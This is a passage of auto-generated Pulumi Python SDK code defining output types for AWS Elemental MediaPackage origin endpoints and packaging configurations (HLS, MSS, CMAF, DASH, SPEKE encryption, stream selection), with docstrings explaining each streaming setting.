pulumi.set(__self__, "ads_on_delivery_restrictions", ads_on_delivery_restrictions)
if include_iframe_only_stream is not None:
pulumi.set(__self__, "include_iframe_only_stream", include_iframe_only_stream)
if manifest_name is not None:
pulumi.set(__self__, "manifest_name", manifest_name)
if playlist_type is not None:
pulumi.set(__self__, "playlist_type", playlist_type)
if playlist_window_seconds is not None:
pulumi.set(__self__, "playlist_window_seconds", playlist_window_seconds)
if program_date_time_interval_seconds is not None:
pulumi.set(__self__, "program_date_time_interval_seconds", program_date_time_interval_seconds)
if url is not None:
pulumi.set(__self__, "url", url)
@property
@pulumi.getter
def id(self) -> str:
"""
The ID of the manifest. The ID must be unique within the OriginEndpoint and it cannot be changed after it is created.
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="adMarkers")
def ad_markers(self) -> Optional['OriginEndpointHlsManifestAdMarkers']:
"""
This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source. "DATERANGE" inserts EXT-X-DATERANGE tags to signal ad and program transition events in HLS and CMAF manifests. For this option, you must set a programDateTimeIntervalSeconds value that is greater than 0.
"""
return pulumi.get(self, "ad_markers")
@property
@pulumi.getter(name="adTriggers")
def ad_triggers(self) -> Optional[Sequence['OriginEndpointHlsManifestAdTriggersItem']]:
"""
A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
"""
return pulumi.get(self, "ad_triggers")
@property
@pulumi.getter(name="adsOnDeliveryRestrictions")
def ads_on_delivery_restrictions(self) -> Optional['OriginEndpointAdsOnDeliveryRestrictions']:
return pulumi.get(self, "ads_on_delivery_restrictions")
@property
@pulumi.getter(name="includeIframeOnlyStream")
def include_iframe_only_stream(self) -> Optional[bool]:
"""
When enabled, an I-Frame only stream will be included in the output.
"""
return pulumi.get(self, "include_iframe_only_stream")
@property
@pulumi.getter(name="manifestName")
def manifest_name(self) -> Optional[str]:
"""
An optional short string appended to the end of the OriginEndpoint URL. If not specified, defaults to the manifestName for the OriginEndpoint.
"""
return pulumi.get(self, "manifest_name")
@property
@pulumi.getter(name="playlistType")
def playlist_type(self) -> Optional['OriginEndpointHlsManifestPlaylistType']:
"""
The HTTP Live Streaming (HLS) playlist type. When either "EVENT" or "VOD" is specified, a corresponding EXT-X-PLAYLIST-TYPE entry will be included in the media playlist.
"""
return pulumi.get(self, "playlist_type")
@property
@pulumi.getter(name="playlistWindowSeconds")
def playlist_window_seconds(self) -> Optional[int]:
"""
Time window (in seconds) contained in each parent manifest.
"""
return pulumi.get(self, "playlist_window_seconds")
@property
@pulumi.getter(name="programDateTimeIntervalSeconds")
def program_date_time_interval_seconds(self) -> Optional[int]:
"""
The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
"""
return pulumi.get(self, "program_date_time_interval_seconds")
@property
@pulumi.getter
def url(self) -> Optional[str]:
"""
The URL of the packaged OriginEndpoint for consumption.
"""
return pulumi.get(self, "url")
@pulumi.output_type
class OriginEndpointHlsPackage(dict):
"""
An HTTP Live Streaming (HLS) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "adMarkers":
suggest = "ad_markers"
elif key == "adTriggers":
suggest = "ad_triggers"
elif key == "adsOnDeliveryRestrictions":
suggest = "ads_on_delivery_restrictions"
elif key == "includeIframeOnlyStream":
suggest = "include_iframe_only_stream"
elif key == "playlistType":
suggest = "playlist_type"
elif key == "playlistWindowSeconds":
suggest = "playlist_window_seconds"
elif key == "programDateTimeIntervalSeconds":
suggest = "program_date_time_interval_seconds"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "streamSelection":
suggest = "stream_selection"
elif key == "useAudioRenditionGroup":
suggest = "use_audio_rendition_group"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointHlsPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointHlsPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointHlsPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
ad_markers: Optional['OriginEndpointHlsPackageAdMarkers'] = None,
ad_triggers: Optional[Sequence['OriginEndpointHlsPackageAdTriggersItem']] = None,
ads_on_delivery_restrictions: Optional['OriginEndpointAdsOnDeliveryRestrictions'] = None,
encryption: Optional['outputs.OriginEndpointHlsEncryption'] = None,
include_iframe_only_stream: Optional[bool] = None,
playlist_type: Optional['OriginEndpointHlsPackagePlaylistType'] = None,
playlist_window_seconds: Optional[int] = None,
program_date_time_interval_seconds: Optional[int] = None,
segment_duration_seconds: Optional[int] = None,
stream_selection: Optional['outputs.OriginEndpointStreamSelection'] = None,
use_audio_rendition_group: Optional[bool] = None):
"""
An HTTP Live Streaming (HLS) packaging configuration.
:param 'OriginEndpointHlsPackageAdMarkers' ad_markers: This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source. "DATERANGE" inserts EXT-X-DATERANGE tags to signal ad and program transition events in HLS and CMAF manifests. For this option, you must set a programDateTimeIntervalSeconds value that is greater than 0.
:param Sequence['OriginEndpointHlsPackageAdTriggersItem'] ad_triggers: A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
:param bool include_iframe_only_stream: When enabled, an I-Frame only stream will be included in the output.
:param 'OriginEndpointHlsPackagePlaylistType' playlist_type: The HTTP Live Streaming (HLS) playlist type. When either "EVENT" or "VOD" is specified, a corresponding EXT-X-PLAYLIST-TYPE entry will be included in the media playlist.
:param int playlist_window_seconds: Time window (in seconds) contained in each parent manifest.
:param int program_date_time_interval_seconds: The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
:param int segment_duration_seconds: Duration (in seconds) of each fragment. Actual fragments will be rounded to the nearest multiple of the source fragment duration.
:param bool use_audio_rendition_group: When enabled, audio streams will be placed in rendition groups in the output.
"""
if ad_markers is not None:
pulumi.set(__self__, "ad_markers", ad_markers)
if ad_triggers is not None:
pulumi.set(__self__, "ad_triggers", ad_triggers)
if ads_on_delivery_restrictions is not None:
pulumi.set(__self__, "ads_on_delivery_restrictions", ads_on_delivery_restrictions)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if include_iframe_only_stream is not None:
pulumi.set(__self__, "include_iframe_only_stream", include_iframe_only_stream)
if playlist_type is not None:
pulumi.set(__self__, "playlist_type", playlist_type)
if playlist_window_seconds is not None:
pulumi.set(__self__, "playlist_window_seconds", playlist_window_seconds)
if program_date_time_interval_seconds is not None:
pulumi.set(__self__, "program_date_time_interval_seconds", program_date_time_interval_seconds)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
if use_audio_rendition_group is not None:
pulumi.set(__self__, "use_audio_rendition_group", use_audio_rendition_group)
@property
@pulumi.getter(name="adMarkers")
def ad_markers(self) -> Optional['OriginEndpointHlsPackageAdMarkers']:
"""
This setting controls how ad markers are included in the packaged OriginEndpoint. "NONE" will omit all SCTE-35 ad markers from the output. "PASSTHROUGH" causes the manifest to contain a copy of the SCTE-35 ad markers (comments) taken directly from the input HTTP Live Streaming (HLS) manifest. "SCTE35_ENHANCED" generates ad markers and blackout tags based on SCTE-35 messages in the input source. "DATERANGE" inserts EXT-X-DATERANGE tags to signal ad and program transition events in HLS and CMAF manifests. For this option, you must set a programDateTimeIntervalSeconds value that is greater than 0.
"""
return pulumi.get(self, "ad_markers")
@property
@pulumi.getter(name="adTriggers")
def ad_triggers(self) -> Optional[Sequence['OriginEndpointHlsPackageAdTriggersItem']]:
"""
A list of SCTE-35 message types that are treated as ad markers in the output. If empty, no ad markers are output. Specify multiple items to create ad markers for all of the included message types.
"""
return pulumi.get(self, "ad_triggers")
@property
@pulumi.getter(name="adsOnDeliveryRestrictions")
def ads_on_delivery_restrictions(self) -> Optional['OriginEndpointAdsOnDeliveryRestrictions']:
return pulumi.get(self, "ads_on_delivery_restrictions")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.OriginEndpointHlsEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="includeIframeOnlyStream")
def include_iframe_only_stream(self) -> Optional[bool]:
"""
When enabled, an I-Frame only stream will be included in the output.
"""
return pulumi.get(self, "include_iframe_only_stream")
@property
@pulumi.getter(name="playlistType")
def playlist_type(self) -> Optional['OriginEndpointHlsPackagePlaylistType']:
"""
The HTTP Live Streaming (HLS) playlist type. When either "EVENT" or "VOD" is specified, a corresponding EXT-X-PLAYLIST-TYPE entry will be included in the media playlist.
"""
return pulumi.get(self, "playlist_type")
@property
@pulumi.getter(name="playlistWindowSeconds")
def playlist_window_seconds(self) -> Optional[int]:
"""
Time window (in seconds) contained in each parent manifest.
"""
return pulumi.get(self, "playlist_window_seconds")
@property
@pulumi.getter(name="programDateTimeIntervalSeconds")
def program_date_time_interval_seconds(self) -> Optional[int]:
"""
The interval (in seconds) between each EXT-X-PROGRAM-DATE-TIME tag inserted into manifests. Additionally, when an interval is specified ID3Timed Metadata messages will be generated every 5 seconds using the ingest time of the content. If the interval is not specified, or set to 0, then no EXT-X-PROGRAM-DATE-TIME tags will be inserted into manifests and no ID3Timed Metadata messages will be generated. Note that irrespective of this parameter, if any ID3 Timed Metadata is found in HTTP Live Streaming (HLS) input, it will be passed through to HLS output.
"""
return pulumi.get(self, "program_date_time_interval_seconds")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
"""
Duration (in seconds) of each fragment. Actual fragments will be rounded to the nearest multiple of the source fragment duration.
"""
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.OriginEndpointStreamSelection']:
return pulumi.get(self, "stream_selection")
@property
@pulumi.getter(name="useAudioRenditionGroup")
def use_audio_rendition_group(self) -> Optional[bool]:
"""
When enabled, audio streams will be placed in rendition groups in the output.
"""
return pulumi.get(self, "use_audio_rendition_group")
@pulumi.output_type
class OriginEndpointMssEncryption(dict):
"""
A Microsoft Smooth Streaming (MSS) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointMssEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointMssEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointMssEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.OriginEndpointSpekeKeyProvider'):
"""
A Microsoft Smooth Streaming (MSS) encryption configuration.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.OriginEndpointSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@pulumi.output_type
class OriginEndpointMssPackage(dict):
"""
A Microsoft Smooth Streaming (MSS) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "manifestWindowSeconds":
suggest = "manifest_window_seconds"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "streamSelection":
suggest = "stream_selection"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointMssPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointMssPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointMssPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
encryption: Optional['outputs.OriginEndpointMssEncryption'] = None,
manifest_window_seconds: Optional[int] = None,
segment_duration_seconds: Optional[int] = None,
stream_selection: Optional['outputs.OriginEndpointStreamSelection'] = None):
"""
A Microsoft Smooth Streaming (MSS) packaging configuration.
:param int manifest_window_seconds: The time window (in seconds) contained in each manifest.
:param int segment_duration_seconds: The duration (in seconds) of each segment.
"""
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if manifest_window_seconds is not None:
pulumi.set(__self__, "manifest_window_seconds", manifest_window_seconds)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.OriginEndpointMssEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="manifestWindowSeconds")
def manifest_window_seconds(self) -> Optional[int]:
"""
The time window (in seconds) contained in each manifest.
"""
return pulumi.get(self, "manifest_window_seconds")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
"""
The duration (in seconds) of each segment.
"""
return pulumi.get(self, "segment_duration_seconds")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.OriginEndpointStreamSelection']:
return pulumi.get(self, "stream_selection")
@pulumi.output_type
class OriginEndpointSpekeKeyProvider(dict):
"""
A configuration for accessing an external Secure Packager and Encoder Key Exchange (SPEKE) service that will provide encryption keys.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "resourceId":
suggest = "resource_id"
elif key == "roleArn":
suggest = "role_arn"
elif key == "systemIds":
suggest = "system_ids"
elif key == "certificateArn":
suggest = "certificate_arn"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointSpekeKeyProvider. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointSpekeKeyProvider.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointSpekeKeyProvider.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
resource_id: str,
role_arn: str,
system_ids: Sequence[str],
url: str,
certificate_arn: Optional[str] = None):
"""
A configuration for accessing an external Secure Packager and Encoder Key Exchange (SPEKE) service that will provide encryption keys.
:param str resource_id: The resource ID to include in key requests.
:param str role_arn: An Amazon Resource Name (ARN) of an IAM role that AWS Elemental MediaPackage will assume when accessing the key provider service.
:param Sequence[str] system_ids: The system IDs to include in key requests.
:param str url: The URL of the external key provider service.
:param str certificate_arn: An Amazon Resource Name (ARN) of a Certificate Manager certificate that MediaPackage will use for enforcing secure end-to-end data transfer with the key provider service.
"""
pulumi.set(__self__, "resource_id", resource_id)
pulumi.set(__self__, "role_arn", role_arn)
pulumi.set(__self__, "system_ids", system_ids)
pulumi.set(__self__, "url", url)
if certificate_arn is not None:
pulumi.set(__self__, "certificate_arn", certificate_arn)
@property
@pulumi.getter(name="resourceId")
def resource_id(self) -> str:
"""
The resource ID to include in key requests.
"""
return pulumi.get(self, "resource_id")
@property
@pulumi.getter(name="roleArn")
def role_arn(self) -> str:
"""
An Amazon Resource Name (ARN) of an IAM role that AWS Elemental MediaPackage will assume when accessing the key provider service.
"""
return pulumi.get(self, "role_arn")
@property
@pulumi.getter(name="systemIds")
def system_ids(self) -> Sequence[str]:
"""
The system IDs to include in key requests.
"""
return pulumi.get(self, "system_ids")
@property
@pulumi.getter
def url(self) -> str:
"""
The URL of the external key provider service.
"""
return pulumi.get(self, "url")
@property
@pulumi.getter(name="certificateArn")
def certificate_arn(self) -> Optional[str]:
"""
An Amazon Resource Name (ARN) of a Certificate Manager certificate that MediaPackage will use for enforcing secure end-to-end data transfer with the key provider service.
"""
return pulumi.get(self, "certificate_arn")
@pulumi.output_type
class OriginEndpointStreamSelection(dict):
"""
A StreamSelection configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "maxVideoBitsPerSecond":
suggest = "max_video_bits_per_second"
elif key == "minVideoBitsPerSecond":
suggest = "min_video_bits_per_second"
elif key == "streamOrder":
suggest = "stream_order"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in OriginEndpointStreamSelection. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
OriginEndpointStreamSelection.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
OriginEndpointStreamSelection.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
max_video_bits_per_second: Optional[int] = None,
min_video_bits_per_second: Optional[int] = None,
stream_order: Optional['OriginEndpointStreamSelectionStreamOrder'] = None):
"""
A StreamSelection configuration.
:param int max_video_bits_per_second: The maximum video bitrate (bps) to include in output.
:param int min_video_bits_per_second: The minimum video bitrate (bps) to include in output.
:param 'OriginEndpointStreamSelectionStreamOrder' stream_order: A directive that determines the order of streams in the output.
"""
if max_video_bits_per_second is not None:
pulumi.set(__self__, "max_video_bits_per_second", max_video_bits_per_second)
if min_video_bits_per_second is not None:
pulumi.set(__self__, "min_video_bits_per_second", min_video_bits_per_second)
if stream_order is not None:
pulumi.set(__self__, "stream_order", stream_order)
@property
@pulumi.getter(name="maxVideoBitsPerSecond")
def max_video_bits_per_second(self) -> Optional[int]:
"""
The maximum video bitrate (bps) to include in output.
"""
return pulumi.get(self, "max_video_bits_per_second")
@property
@pulumi.getter(name="minVideoBitsPerSecond")
def min_video_bits_per_second(self) -> Optional[int]:
"""
The minimum video bitrate (bps) to include in output.
"""
return pulumi.get(self, "min_video_bits_per_second")
@property
@pulumi.getter(name="streamOrder")
def stream_order(self) -> Optional['OriginEndpointStreamSelectionStreamOrder']:
"""
A directive that determines the order of streams in the output.
"""
return pulumi.get(self, "stream_order")
@pulumi.output_type
class OriginEndpointTag(dict):
def __init__(__self__, *,
key: str,
value: str):
pulumi.set(__self__, "key", key)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def key(self) -> str:
return pulumi.get(self, "key")
@property
@pulumi.getter
def value(self) -> str:
return pulumi.get(self, "value")
@pulumi.output_type
class PackagingConfigurationCmafEncryption(dict):
"""
A CMAF encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationCmafEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationCmafEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationCmafEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.PackagingConfigurationSpekeKeyProvider'):
"""
A CMAF encryption configuration.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.PackagingConfigurationSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@pulumi.output_type
class PackagingConfigurationCmafPackage(dict):
"""
A CMAF packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "hlsManifests":
suggest = "hls_manifests"
elif key == "includeEncoderConfigurationInSegments":
suggest = "include_encoder_configuration_in_segments"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationCmafPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationCmafPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationCmafPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
hls_manifests: Sequence['outputs.PackagingConfigurationHlsManifest'],
encryption: Optional['outputs.PackagingConfigurationCmafEncryption'] = None,
include_encoder_configuration_in_segments: Optional[bool] = None,
segment_duration_seconds: Optional[int] = None):
"""
A CMAF packaging configuration.
:param Sequence['PackagingConfigurationHlsManifest'] hls_manifests: A list of HLS manifest configurations.
:param bool include_encoder_configuration_in_segments: When includeEncoderConfigurationInSegments is set to true, MediaPackage places your encoder's Sequence Parameter Set (SPS), Picture Parameter Set (PPS), and Video Parameter Set (VPS) metadata in every video segment instead of in the init fragment. This lets you use different SPS/PPS/VPS settings for your assets during content playback.
"""
pulumi.set(__self__, "hls_manifests", hls_manifests)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if include_encoder_configuration_in_segments is not None:
pulumi.set(__self__, "include_encoder_configuration_in_segments", include_encoder_configuration_in_segments)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
@property
@pulumi.getter(name="hlsManifests")
def hls_manifests(self) -> Sequence['outputs.PackagingConfigurationHlsManifest']:
"""
A list of HLS manifest configurations.
"""
return pulumi.get(self, "hls_manifests")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.PackagingConfigurationCmafEncryption']:
return pulumi.get(self, "encryption")
@property
@pulumi.getter(name="includeEncoderConfigurationInSegments")
def include_encoder_configuration_in_segments(self) -> Optional[bool]:
"""
When includeEncoderConfigurationInSegments is set to true, MediaPackage places your encoder's Sequence Parameter Set (SPS), Picture Parameter Set (PPS), and Video Parameter Set (VPS) metadata in every video segment instead of in the init fragment. This lets you use different SPS/PPS/VPS settings for your assets during content playback.
"""
return pulumi.get(self, "include_encoder_configuration_in_segments")
@property
@pulumi.getter(name="segmentDurationSeconds")
def segment_duration_seconds(self) -> Optional[int]:
return pulumi.get(self, "segment_duration_seconds")
@pulumi.output_type
class PackagingConfigurationDashEncryption(dict):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) encryption configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "spekeKeyProvider":
suggest = "speke_key_provider"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationDashEncryption. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationDashEncryption.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationDashEncryption.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
speke_key_provider: 'outputs.PackagingConfigurationSpekeKeyProvider'):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) encryption configuration.
"""
pulumi.set(__self__, "speke_key_provider", speke_key_provider)
@property
@pulumi.getter(name="spekeKeyProvider")
def speke_key_provider(self) -> 'outputs.PackagingConfigurationSpekeKeyProvider':
return pulumi.get(self, "speke_key_provider")
@pulumi.output_type
class PackagingConfigurationDashManifest(dict):
"""
A DASH manifest configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "manifestLayout":
suggest = "manifest_layout"
elif key == "manifestName":
suggest = "manifest_name"
elif key == "minBufferTimeSeconds":
suggest = "min_buffer_time_seconds"
elif key == "streamSelection":
suggest = "stream_selection"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationDashManifest. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationDashManifest.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationDashManifest.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
manifest_layout: Optional['PackagingConfigurationDashManifestManifestLayout'] = None,
manifest_name: Optional[str] = None,
min_buffer_time_seconds: Optional[int] = None,
profile: Optional['PackagingConfigurationDashManifestProfile'] = None,
stream_selection: Optional['outputs.PackagingConfigurationStreamSelection'] = None):
"""
A DASH manifest configuration.
:param 'PackagingConfigurationDashManifestManifestLayout' manifest_layout: Determines the position of some tags in the Media Presentation Description (MPD). When set to FULL, elements like SegmentTemplate and ContentProtection are included in each Representation. When set to COMPACT, duplicate elements are combined and presented at the AdaptationSet level.
:param int min_buffer_time_seconds: Minimum duration (in seconds) that a player will buffer media before starting the presentation.
:param 'PackagingConfigurationDashManifestProfile' profile: The Dynamic Adaptive Streaming over HTTP (DASH) profile type. When set to "HBBTV_1_5", HbbTV 1.5 compliant output is enabled.
"""
if manifest_layout is not None:
pulumi.set(__self__, "manifest_layout", manifest_layout)
if manifest_name is not None:
pulumi.set(__self__, "manifest_name", manifest_name)
if min_buffer_time_seconds is not None:
pulumi.set(__self__, "min_buffer_time_seconds", min_buffer_time_seconds)
if profile is not None:
pulumi.set(__self__, "profile", profile)
if stream_selection is not None:
pulumi.set(__self__, "stream_selection", stream_selection)
@property
@pulumi.getter(name="manifestLayout")
def manifest_layout(self) -> Optional['PackagingConfigurationDashManifestManifestLayout']:
"""
Determines the position of some tags in the Media Presentation Description (MPD). When set to FULL, elements like SegmentTemplate and ContentProtection are included in each Representation. When set to COMPACT, duplicate elements are combined and presented at the AdaptationSet level.
"""
return pulumi.get(self, "manifest_layout")
@property
@pulumi.getter(name="manifestName")
def manifest_name(self) -> Optional[str]:
return pulumi.get(self, "manifest_name")
@property
@pulumi.getter(name="minBufferTimeSeconds")
def min_buffer_time_seconds(self) -> Optional[int]:
"""
Minimum duration (in seconds) that a player will buffer media before starting the presentation.
"""
return pulumi.get(self, "min_buffer_time_seconds")
@property
@pulumi.getter
def profile(self) -> Optional['PackagingConfigurationDashManifestProfile']:
"""
The Dynamic Adaptive Streaming over HTTP (DASH) profile type. When set to "HBBTV_1_5", HbbTV 1.5 compliant output is enabled.
"""
return pulumi.get(self, "profile")
@property
@pulumi.getter(name="streamSelection")
def stream_selection(self) -> Optional['outputs.PackagingConfigurationStreamSelection']:
return pulumi.get(self, "stream_selection")
@pulumi.output_type
class PackagingConfigurationDashPackage(dict):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) packaging configuration.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "dashManifests":
suggest = "dash_manifests"
elif key == "includeEncoderConfigurationInSegments":
suggest = "include_encoder_configuration_in_segments"
elif key == "periodTriggers":
suggest = "period_triggers"
elif key == "segmentDurationSeconds":
suggest = "segment_duration_seconds"
elif key == "segmentTemplateFormat":
suggest = "segment_template_format"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in PackagingConfigurationDashPackage. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
PackagingConfigurationDashPackage.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
PackagingConfigurationDashPackage.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
dash_manifests: Sequence['outputs.PackagingConfigurationDashManifest'],
encryption: Optional['outputs.PackagingConfigurationDashEncryption'] = None,
include_encoder_configuration_in_segments: Optional[bool] = None,
period_triggers: Optional[Sequence['PackagingConfigurationDashPackagePeriodTriggersItem']] = None,
segment_duration_seconds: Optional[int] = None,
segment_template_format: Optional['PackagingConfigurationDashPackageSegmentTemplateFormat'] = None):
"""
A Dynamic Adaptive Streaming over HTTP (DASH) packaging configuration.
:param Sequence['PackagingConfigurationDashManifest'] dash_manifests: A list of DASH manifest configurations.
:param bool include_encoder_configuration_in_segments: When includeEncoderConfigurationInSegments is set to true, MediaPackage places your encoder's Sequence Parameter Set (SPS), Picture Parameter Set (PPS), and Video Parameter Set (VPS) metadata in every video segment instead of in the init fragment. This lets you use different SPS/PPS/VPS settings for your assets during content playback.
:param Sequence['PackagingConfigurationDashPackagePeriodTriggersItem'] period_triggers: A list of triggers that controls when the outgoing Dynamic Adaptive Streaming over HTTP (DASH) Media Presentation Description (MPD) will be partitioned into multiple periods. If empty, the content will not be partitioned into more than one period. If the list contains "ADS", new periods will be created where the Asset contains SCTE-35 ad markers.
:param 'PackagingConfigurationDashPackageSegmentTemplateFormat' segment_template_format: Determines the type of SegmentTemplate included in the Media Presentation Description (MPD). When set to NUMBER_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Number$ media URLs. When set to TIME_WITH_TIMELINE, a full timeline is presented in each SegmentTemplate, with $Time$ media URLs. When set to NUMBER_WITH_DURATION, only a duration is included in each SegmentTemplate, with $Number$ media URLs.
"""
pulumi.set(__self__, "dash_manifests", dash_manifests)
if encryption is not None:
pulumi.set(__self__, "encryption", encryption)
if include_encoder_configuration_in_segments is not None:
pulumi.set(__self__, "include_encoder_configuration_in_segments", include_encoder_configuration_in_segments)
if period_triggers is not None:
pulumi.set(__self__, "period_triggers", period_triggers)
if segment_duration_seconds is not None:
pulumi.set(__self__, "segment_duration_seconds", segment_duration_seconds)
if segment_template_format is not None:
pulumi.set(__self__, "segment_template_format", segment_template_format)
@property
@pulumi.getter(name="dashManifests")
def dash_manifests(self) -> Sequence['outputs.PackagingConfigurationDashManifest']:
"""
A list of DASH manifest configurations.
"""
return pulumi.get(self, "dash_manifests")
@property
@pulumi.getter
def encryption(self) -> Optional['outputs.PackagingConfigurationDashEncryption']:
return pulumi.get(self, "encryption")
@property
